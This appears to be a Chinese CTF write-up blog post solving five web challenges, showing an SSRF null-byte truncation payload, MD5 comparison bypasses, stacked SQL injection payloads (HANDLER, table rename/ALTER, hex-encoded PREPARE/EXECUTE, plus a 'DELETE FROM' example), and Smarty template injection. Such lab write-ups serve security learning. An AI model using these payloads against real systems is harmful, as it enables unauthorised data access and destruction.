web刷题记录(4)

[GKCTF 2020]cve版签到

进来应该是给了个提示了,就是要以.ctfhub.com结尾

还有一个超链接,这题的ssrf还是挺明显的,抓包看看

发现回显里面有提示

        说是和本地有关,那么也就是说,要访问127.0.0.1,大概意思就是127.0.0.1就是ssrf的跳板了,然后呢要加一开始给的那个后缀,然后呢,这里还有有关比较隐藏的点,就是php的版本,在上图中可以看到,php的版本是7.3.15,这里涉及到的一个知识点:

        在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,同时将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

        这里有比较详细的关于00截断的知识  ,php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...-CSDN博客           cve也插个链接吧,什么是CVE?常见漏洞和暴露列表概述_cve漏洞列表-CSDN博客

        这个截断的话,平时遇到比较常见的就是文件上传的路径的更改那些,但是既然这里要求我们要强制在后面加.ctfhub.com,所以这里才用到这个知识点

        能理解的都理解的差不多了,开始,构造payload:

GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1

        得到了下一步的提示:

再改个后缀

得到了flag

[SWPUCTF 2022 新生赛]奇妙的MD5

 这个框,有点熟悉,虽然知道要用什么,但是还是抓包看看

果然,具体可以去看我的关于md5知识点的博客

ffifdyop绕过

进入下一个界面

源码注释里面,给了提示

get传参,md5弱比较,这里使用数组,秒了,进入下一个页面

强比较,post传参

得到了flag

[强网杯 2019]随便注

抓包,跑sqlmap

接着往下爆破

发现sqlmap跑不出来,而且一开始爆出来的表是空的,说明这道题只能手注了

看看源码,说明这里应该是不能用sqlmap了

题目一开始给了个1,查询看看

单引号判断一下闭合方式

通过报错信息可知,是单引号闭合。

看看字段

报错,改成order by 2就是正确的,因此数据库只有两列,接下来继续找显示位:

发现select被过滤了,以及一些其他的过滤规则,但是;没有被过滤,这里先尝试堆叠注入

这里插一个关于堆叠注入的知识点:

        在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。、

        例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

        更详细的信息,可以看这里sql注入之堆叠注入-CSDN博客

         通过1';show tables;1 #命令,看看所有表

一个一个看看,这里因为第一个表是纯数字,所以要用`括起来

注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,不能使用引号。

        运气很好,在第一个表里就找到了flag的相关信息,但是因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据。

        在这里补充一点关于hander的知识点:

1.handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
2.handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
3.handler 别名 close;(将这个句柄实例关闭)

        尝试构造:

0';handler `1919810931114514` open;handler `1919810931114514` read first; 1 #

成功拿到了flag

看了其他的wp以后,发现应该还有两种方法

一.alter,可以通过修改表名来间接达到目的

因为words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

分步骤的话
alter table words rename as word1;   // 将原查询表改名
alter table `1919810931114514` rename as words; // 将flag所在表改为原查询表
alter table words change flag id varchar(100); // 修改列名

然后再查看原查询表就可以了

然后这里再对alter的知识点进行补充:

alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名

二.编码逃逸

因为select被过滤了,所以考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where `1919810931114514`

这里使用*这个通配符来查询数据表里面的全部内容,从而达到爆出flag的目的,然后呢,对这个语句进行16进制编码

73656c656374202a2066726f6d20603139313938313039333131313435313460

构造出payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

解读

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
0x就是把后面的编码格式转换成16进制编码格式
那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

也可以得到flag

[NISACTF 2022]midlevel 

打开以后,很熟悉啊,昨天好像做了一题类似的ssti

smarty,老样子,抓包,在xff处来构造payload试试

再判断7{*comment*}7

加个{if}开始注入

发现了和flag有关的信息

再次注入

 得到了flag

[GDOUCTF 2023]受不了一点

大型代码审计

第一个if,就是让你给参数ctf,gdou,POST赋值

第二个if,md5强比较,数组绕过

第三-四个if,cookie传值

第五个if,让get方式传入参数aaa和bbb的值
传就行了

第六个if,加个字母绕过一下

第七个,这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
构造:123=flag&flag=123

因为改的东西太多了,所以,这里选择使用bp

然后就得到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/342707.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目实战系列——WebSocket——websock简介

最近项目中需要用到mes和本地客户端进行实时通讯,本来想用webapi进行交互的,但是考虑到高效和实时性,就采用这一项技术。 以往采用的方式——长轮询 客户端主动向服务器发送一个请求,如果服务器没有更新的数据,客户端…

大语言模型 (LLM) 窥探未来

随着2023年的岁月渐渐走向尾声,我们站在人工智能的前沿,回望大语言模型(Large Language Models, LLM)所走过的道路,同时也不禁展望未来。从初步尝试到成为人工智能领域的万千宠爱,一种又一种的技术突破&…

处理一对多的映射关系

一对多关系&#xff0c;比如说根据id查询一个部门的部门信息及部门下的员工信息 在Dept类中先添加List emps属性 1、collection DeptMapper.xml文件中 <resultMap id"deptAndEmpResultMap" type"Dept"><id property"did" column&qu…

[Redis]List类型

列表类型来存储多个有序的字符串&#xff0c;a、b、c、d、e 五个元素从左到右组成了一个有序的列表&#xff0c;列表中的每个字符串称为元素&#xff0c;一个列表最多可以存储个元素。在 Redis 中&#xff0c;可以对列表两端插入&#xff08;push&#xff09;和弹出&#xff08…

Postgresql中json和jsonb类型区别

在我们的业务开发中&#xff0c;可能会因为特殊【历史&#xff0c;偷懒&#xff0c;防止表连接】经常会有JSON或者JSONArray类的数据存储到某列中&#xff0c;这个时候再PG数据库中有两种数据格式可以直接一对多或者一对一的映射对象。所以我们也可能会经常用到这类格式数据&am…

【Linux】进程切换环境变量

目录 一.进程切换 1.进程特性 2.进程切换 1.进程切换的现象 2.如何实现 3.现实例子 2.环境变量 一.基本概念 二.常见环境变量 三.查询常见环境变量的方法 四.和环境变量相关的命令 五.环境变量表的组织方式 六.使用系统调用接口方式查询环境变量 1.getenv 2.反思 …

如何学习使用淘宝API?淘宝API运营场景

学习使用淘宝API涉及对其功能、分类、调用方法及实际应用的综合理解。下面按部分详细解释如何系统地学习和掌握淘宝API的使用&#xff1a; 淘宝API接口入门 了解淘宝开放平台&#xff1a;淘宝开放平台为开发者提供了一个可以与淘宝数据进行交互的平台&#xff0c;涵盖了丰富的A…

神经网络 torch.nn---优化器的使用

torch.optim - PyTorch中文文档 (pytorch-cn.readthedocs.io) torch.optim — PyTorch 2.3 documentation 反向传播可以求出神经网路中每个需要调节参数的梯度(grad)&#xff0c;优化器可以根据梯度进行调整&#xff0c;达到降低整体误差的作用。下面我们对优化器进行介绍。 …

uniapp内置的button组件的问题

问题描述 由于想要使用uniapp内置button组件的开放能力&#xff0c;所以就直接使用了button&#xff0c;但是他本身带着边框&#xff0c;而且使用 border&#xff1a;none&#xff1b;是没有效果的。 问题图片 解决方案 button::after {border: none;} 正确样式 此时的分享…

6.更复杂的光照

一、Unity的渲染路径 渲染路径决定了光照是如何应用到Unity Shader中的。我们需要为每个Pass指定它使用的渲染路径 如何设置渲染路径&#xff1f; Edit>Project Settings>Player>Other Settinigs>Rendering 如何使用多个渲染路径&#xff1f;如&#xff1a;摄像…

kafka-集群搭建(在docker中搭建)

文章目录 1、kafka集群搭建1.1、下载镜像文件1.2、创建zookeeper容器并运行1.3、创建3个kafka容器并运行1.3.1、9095端口1.3.2、9096端口1.3.3、9097端口 1.4、重启kafka-eagle1.5、查看 efak1.5.1、查看 brokers1.5.2、查看 zookeeper 1、kafka集群搭建 1.1、下载镜像文件 d…

makefile2

makefile的条件判断 运行make。 替换 make -c make-f …… 还可以 man make来查看其他的make命令。

【ARM Cache 及 MMU 系列文章 6.2 -- ARMv8/v9 Cache 内部数据读取方法详细介绍】

请阅读【ARM Cache 及 MMU/MPU 系列文章专栏导读】 及【嵌入式开发学习必备专栏】 文章目录 Direct access to internal memoryL1 cache encodingsL1 Cache Data 寄存器Cache 数据读取代码实现Direct access to internal memory 在ARMv8架构中,缓存(Cache)是用来加速数据访…

01_初识微服务

文章目录 一、微服务概述1.1 什么是微服务1.2 对比微服务架构与单体架构1.3 微服务设计原则1.4 微服务开发框架1.5 简单理解分布式部署与集群部署 二、微服务的核心概念2.1 服务注册与发现2.2 微服调用&#xff08;通信&#xff09;2.3 服务网关2.4 服务容错2.5 链路追踪参考链…

C语言小例程6/100

题目&#xff1a;输入三个整数x,y,z&#xff0c;请把这三个数由小到大输出。 程序分析&#xff1a;我们想办法把最小的数放到x上&#xff0c;先将x与y进行比较&#xff0c;如果x>y则将x与y的值进行交换&#xff0c;然后再用x与z进行比较&#xff0c;如果x>z则将x与z的值…

电商平台的消费增值策略

电商平台通过创新的消费增值策略&#xff0c;为用户提供了全新的激励体验。这种策略通过积分奖励和价值提升机制&#xff0c;鼓励用户持续参与并增强用户对平台的忠诚度。 消费积分的奖励机制 在电商平台&#xff0c;每一笔交易都会根据预设的比例回馈给消费者一部分资金&…

MATLAB format

在MATLAB中&#xff0c;format 是一个函数&#xff0c;用于控制命令窗口中数值的显示格式。这个函数可以设置数值的精度、显示的位数等。以下是一些常用的 format 命令&#xff1a; format long&#xff1a;以默认的长格式显示数值&#xff0c;通常显示15位有效数字。format s…

Mysql学习(三)——SQL通用语法之DML

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 DML添加数据修改数据删除数据 总结 DML DML用来对数据库中表的数据记录进行增删改操作。 添加数据 -- 给指定字段添加数据 insert into 表名(字段1&#xff0c;字…

引用(C++)和内联函数

前言&#xff1a;本文主要讲解C语法中引用如何使用和使用时的一些技巧 基本语法 引用就是取别名 #include <iostream> using namespace std; int main() {int a 10;int& b a;//给a取别名为bcout << a << endl;cout << b << endl;return 0…